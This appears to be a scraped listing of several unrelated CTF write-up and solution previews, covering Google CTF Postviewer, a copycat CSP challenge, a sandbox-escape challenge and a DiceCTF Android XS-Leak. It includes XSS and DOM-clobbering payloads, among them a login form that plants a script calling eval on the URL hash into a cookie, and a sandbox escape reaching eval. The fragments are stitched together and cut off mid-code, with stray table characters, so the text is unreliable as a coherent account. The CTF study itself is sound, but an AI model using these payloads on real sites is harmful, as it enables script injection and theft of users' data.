The goal was to bypass WAF protection to access local resources.
app.re_ip = re.compile('\A(\d+)\.(\d+)\.(\d+)\.(\d+)\Z')
def valid_ip(ip):
matches = app.re_ip.match(ip)
For this year's Google CTF, I prepared a challenge that is based on a real-world vulnerability. The challenge wasn't solved by any team during the competition so here is the proof that the challenge was in fact solvable! :)
The goal of the challenge was to send a malicious file to the admin and leak their file with a flag. The ID of the file was embedded into the challenge description (/file?id=133711377731
) and only admin had access to it, because the file was private.
Disclamer: The write-up is written on airplane therefore the quality of it is poor, mostly to showcase the required steps to solve the challenge
The rumor tells that adm1n stores their secret split into multiple documents. Can you catch 'em all? https://postviewer-web.2022.ctfcompetition.com
The challenge consisted of an all client-side simple page, i.e. no backend code was involved. A user can upload any file which will be then locally stored in indexedDB. They can preview their files by either clicking on the title or by visiting file's URL, for example https://postviewer-web.2022.ctfcompetition.com/#file-01d6039e3e157ebcbbf6b2f7cb2dc678f3b9214d. The preview of the file is rendered inside a blob created from data:
URL. The rendering occurs by sending file's contents to the iframe via postMessage({ body, mimeType }, '*')
Additionally, there is a /bot
endpoint which lets players send URLs to an xss-bot
imitating another user. The goal is to steal their documents.
<html> | |
<body> | |
<script> | |
// clobber document.getElementById and make window.calc.contentWindow undefined | |
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'); | |
function start(){ | |
var ifr = document.createElement('iframe'); | |
// create sandboxed domain, open challenge page and force its origin to be null | |
// null origin makes window.token undefined because of the error when accessing document.cookie |
<!-- | |
This was a sandboxing challenge where the JS language is presenteded in the form of exotic, made-up language. | |
It's almost properly sandboxed but there is one bug that players needed to find. | |
The bug I found was to construct HTML comment (<!--) that is understood by JS and which makes it possible to ignore one semicolon | |
and then to concat array expression with variable name, like $var$['eval']. To get reference to eval we used DOM clobbering | |
and defined <iframe name=$win$> | |
--> | |
<iframe name=$win$></iframe> | |
<x-program> |
<iframe name="xxx"></iframe> | |
<form method=POST target=xxx action="https://ctftime.pl/login"> | |
<input name="username" value='<script>eval(unescape(location.hash.slice(1)))</script>","password":"123"};SameSite=none;Secure;Path=/profile;'> | |
<input name="password" value="123"> | |
</form> | |
<script> | |
(async () =>{ | |
const sleep = d => new Promise(r=>setTimeout(r,d)); |
This year I created a copycat challenge of another-csp from DiceCTF Quals 2024. It was only solved by 1 team, DiceGang. Although the challenge looked almost identical, the solutions should be strictly different.
The intended solution of the original challenge was to leak one bit of information per admin visit based on crashing the browser renderer process with malicious CSS. (The below snippet was crashing the browser, but currently it's fixed)
As it always have been with my challenges for Google CTF, they are based on real bugs I found internally. This year is a bit different though. This time the bugs were crafted by no other than me myself. One bug didn't manage to reach the production and the other is still present in prod making it effectively a 0day!
Both of my challenges (Postviewer v3 & Game Arcade) for this year are related to a sandboxing I've been working since the first postviewer challenge. You can read a little bit about it in
// This is a solution to misc/convenience-store challenge from DiceCTF 2025. | |
// It was solved by 7 teams. | |
// | |
// TL;DR Timing XS-Leak from an Android app using custom tabs | |
package com.dicectf2025quals.attackerapp | |
import android.content.ComponentName | |
import android.os.Bundle | |
import androidx.activity.ComponentActivity | |
import androidx.activity.enableEdgeToEdge |